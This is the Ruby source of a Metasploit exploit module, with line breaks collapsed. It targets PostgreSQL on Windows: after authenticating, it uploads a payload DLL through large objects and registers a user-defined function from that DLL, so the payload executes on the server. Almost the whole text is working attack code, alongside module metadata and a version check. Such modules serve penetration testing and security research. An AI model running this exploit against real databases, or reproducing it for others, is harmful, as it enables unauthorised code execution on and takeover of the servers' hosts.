## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::FileDropper # Creates an instance of this module. def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution', 'Description' => %q{ On default Microsoft Windows installations of PostgreSQL the postgres service account may write to the current directory (which is usually "C:\Program Files\PostgreSQL\\data" where is the major.minor version of PostgreSQL). UDF DLL's may be sourced from there as well. This module uploads a Windows DLL file via the pg_largeobject method of binary injection and creates a UDF (user defined function) from that DLL. Because the payload is run from DllMain, it does not need to conform to specific Postgres API versions. }, 'Author' => [ 'Bernardo Damele A. G. ', # the postgresql udf libraries 'todb' # this Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL ], 'Platform' => 'win', 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x86_64', { 'Arch' => ARCH_X86_64 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper. )) deregister_options('SQL', 'RETURN_ROWSET') end def check version = postgres_fingerprint if version[:auth] print_status "Authentication successful. Version: #{version}" return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe end end def exploit version = do_login(username,password,database) case version when :noauth; print_error "Authentication failed."; return when :noconn; print_error "Connection failed."; return else print_status("#{rhost}:#{rport} - #{version}") end fname = "#{Rex::Text.rand_text_alpha(8)}.dll" register_files_for_cleanup(fname) unless postgres_upload_binary_data(generate_payload_dll, fname) print_error "Could not upload the UDF DLL" return end print_status "Uploaded as #{fname}" begin func_name = Rex::Text.rand_text_alpha(10) postgres_query( "create or replace function pg_temp.#{func_name}()"+ " returns void as '#{fname}','#{func_name}'"+ " language c strict immutable" ) rescue RuntimeError => e print_error "Failed to create UDF function: #{e.class}: #{e}" end postgres_logout if @postgres_conn end # Authenticate to the postgres server. # # Returns the version from #postgres_fingerprint def do_login(user=nil,pass=nil,database=nil) begin password = pass || postgres_password vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") result = postgres_fingerprint( :db => database, :username => user, :password => password ) if result[:auth] report_service( :host => rhost, :port => rport, :name => "postgres", :info => result.values.first ) return result[:auth] else print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") return :noauth end rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError return :noconn end end end